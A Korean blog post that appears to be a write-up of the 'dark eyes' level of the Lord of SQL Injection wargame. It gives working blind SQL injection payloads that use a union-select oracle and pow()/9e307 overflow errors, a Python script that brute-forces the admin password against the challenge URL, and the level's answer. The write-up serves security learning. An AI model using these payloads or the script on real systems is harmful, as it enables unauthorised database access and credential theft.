-
<Lord of SQL Injection> dark eyesWargame/Lord of SQL Injection 2021. 11. 24. 18:25
전달받은 pw에서 prob, _, ., ()를 필터링한다.
그리고 이전의 문제와 달리 col, if, case, when, sleep, benchmark를 필터링한다.
?pw='를 입력하면 빈 화면을 출력한다.
즉, 쿼리에 오류가 있으면 exit()을 통해 빈 화면을 출력한다.
pw의 길이는
?pw=' or id='admin' and (select 1 union select (length(pw)=문자열 길이))%23로 알아볼 수 있다.
(and가 or보다 우선순위가 높음)
?pw=' or id='admin' and (select 1 union select (length(pw)>10))%23을 입력하면
빈 화면을 출력하고
?pw=' or id='admin' and (select 1 union select (length(pw)=8))%23을 입력하면
pw의 길이가 8인 것을 확인할 수 있다.
이제, ?pw=' or id='admin' and (select 1 union select (ascii(substr(pw,1,1))=53))%23을 통해 한 글자씩 찾을 수 있다.
첫 글자가 5인 것을 확인할 수 있다.
쿼리가 참일 때 php 코드를 출력하므로 "php"를 출력하는 글자를 pw에 추가하면 된다.
이제 파이썬 코드를 사용하여 나머지 글자를 찾아보면
import requests baseurl = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php" cookies = {"PHPSESSID" : "PHPSESSID 값"} want_str = "php" pw = "" for i in range(1, 9): for j in range(33, 127): url = baseurl + "?pw=' or id='admin' and (select 1 union select (ascii(substr(pw,{},1))={}))%23".format(i,j) res = requests.get(url=url, cookies=cookies) print(url) if want_str in res.text: pw += chr(j) print("{} : {}".format(i, chr(j))) break print("pw : ", pw)
?pw=5a2f5d3c를 입력하면
문제를 해결할 수 있다.
<또 다른 방법>
https://goodasd123.tistory.com/30
pow() 와 지수 연산 최대치 값을 이용한 연산을 통해 문제를 해결한다.
pow() : 거듭제곱
"?pw=' or id='admin' and power((length(pw)={})+1,99999999999999) -- ;".format(str(i))
length(pw)에 일치하는 값을 찾으면 1+1의 연산이 되어 pow(2,99999999999999)
즉, 2^99999999999999 값이 들어가 오류가 발생한다.
이 문제에서 오류가 발생하면 에러메시지를 출력하지 않고 빈 페이지가 출력된다.
일치하지 않는 값을 입력하게 되면 1^99999999999999이 되어 1이 들어가고 오류메시지를 출력하지 않고
PHP 코드와 쿼리를 출력하게 된다.
이 방식으로 pw의 길이를 찾을 수 있다.
"?pw=' or id='admin' and (((substr(pw,{},1)='{}')+1)*9e307) -- ;".format(str(i), chr(j))
pw의 값을 찾을 때는 pow() 대신 9e307이란 지수 연산 최대치를 사용했다.
MySQL에서 e를 사용한 지수 연산이 가능하다. (3e3 = 3*10^3)
위 방식을 사용하여 PHP 코드나 "query :"가 존재하지 않으면 pw에 추가하면 된다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> evil wizard (0) 2021.11.26 <Lord of SQL Injection> hell fire (0) 2021.11.25 <Lord of SQL Injection> iron_golem (0) 2021.11.23 <Lord of SQL Injection> dragon (0) 2021.11.22 <Lord of SQL Injection> xavis (0) 2021.11.20